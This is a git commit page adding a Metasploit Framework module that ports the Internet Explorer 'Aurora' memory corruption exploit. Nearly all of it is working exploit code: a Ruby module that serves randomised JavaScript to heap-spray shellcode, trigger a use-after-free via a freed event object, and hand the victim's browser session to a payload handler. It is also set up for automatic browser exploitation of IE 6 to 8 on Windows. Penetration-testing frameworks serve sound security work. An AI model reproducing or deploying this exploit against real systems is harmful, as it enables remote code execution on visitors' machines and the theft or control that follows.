Metasploit port of the IE "Aurora" exploit, based on this sample: http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
git-svn-id: file:///home/svn/framework3/trunk@8136 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
parent
64c4754ade
commit
579a6fe799
|
|
@ -0,0 +1,161 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
autopwn_info({
|
||||||
|
:ua_name => HttpClients::IE,
|
||||||
|
:ua_minver => "6.0",
|
||||||
|
:ua_maxver => "8.0",
|
||||||
|
:javascript => true,
|
||||||
|
:os_name => OperatingSystems::WINDOWS,
|
||||||
|
:vuln_test => nil, # no way to test without just trying it
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft Internet Explorer "Aurora" Memory Corruption',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a memory corruption flaw in Internet Explorer. This
|
||||||
|
flaw was found in the wild.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'unknown',
|
||||||
|
'hdm' # Metasploit port
|
||||||
|
],
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
|
||||||
|
['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']
|
||||||
|
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1000,
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => '-find',
|
||||||
|
},
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { }],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 14 2009', # wepawet sample
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
|
if (request.uri.match(/\.gif/i))
|
||||||
|
data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
|
||||||
|
send_response(cli, data, { 'Content-Type' => 'image/gif' })
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
var_memory = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_boom = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_x1 = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_e1 = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_e2 = rand_text_alpha(rand(100) + 1)
|
||||||
|
|
||||||
|
var_comment = rand_text_alpha(rand(100) + 1);
|
||||||
|
var_abc = rand_text_alpha(3);
|
||||||
|
|
||||||
|
var_ev1 = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_ev2 = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_sp1 = rand_text_alpha(rand(100) + 1)
|
||||||
|
|
||||||
|
var_unescape = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_shellcode = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_spray = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_start = rand_text_alpha(rand(100) + 1)
|
||||||
|
var_i = rand_text_alpha(rand(100) + 1)
|
||||||
|
|
||||||
|
rand_html = rand_text_english(rand(400) + 500)
|
||||||
|
|
||||||
|
html = %Q|<html>
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var #{var_comment} = "COMMENT";
|
||||||
|
|
||||||
|
var #{var_x1} = new Array();
|
||||||
|
for (i = 0; i < 200; i ++ ){
|
||||||
|
#{var_x1}[i] = document.createElement(#{var_comment});
|
||||||
|
#{var_x1}[i].data = "#{var_abc}";
|
||||||
|
};
|
||||||
|
|
||||||
|
var #{var_e1} = null;
|
||||||
|
|
||||||
|
var #{var_memory} = new Array();
|
||||||
|
var #{var_unescape} = unescape;
|
||||||
|
|
||||||
|
function #{var_boom}() {
|
||||||
|
|
||||||
|
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
|
||||||
|
|
||||||
|
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
|
||||||
|
|
||||||
|
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
|
||||||
|
|
||||||
|
for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
|
||||||
|
}
|
||||||
|
|
||||||
|
function #{var_ev1}(evt){
|
||||||
|
#{var_boom}();
|
||||||
|
#{var_e1} = document.createEventObject(evt);
|
||||||
|
document.getElementById("#{var_sp1}").innerHTML = "";
|
||||||
|
window.setInterval(#{var_ev2}, 50);
|
||||||
|
}
|
||||||
|
|
||||||
|
function #{var_ev2}(){
|
||||||
|
p = "\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
|
||||||
|
for (i = 0; i < #{var_x1}.length; i ++ ){
|
||||||
|
#{var_x1}[i].data = p;
|
||||||
|
}
|
||||||
|
|
||||||
|
var t = #{var_e1}.srcElement;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<span id="#{var_sp1}"><img src="#{get_resource}#{var_start}.gif" onload="#{var_ev1}(event)"></span></body></html>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
|
||||||
|
# Transmit the compressed response to the client
|
||||||
|
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
|
||||||
|
|
||||||
|
# Handle the payload
|
||||||
|
handler(cli)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
Loading…
Reference in New Issue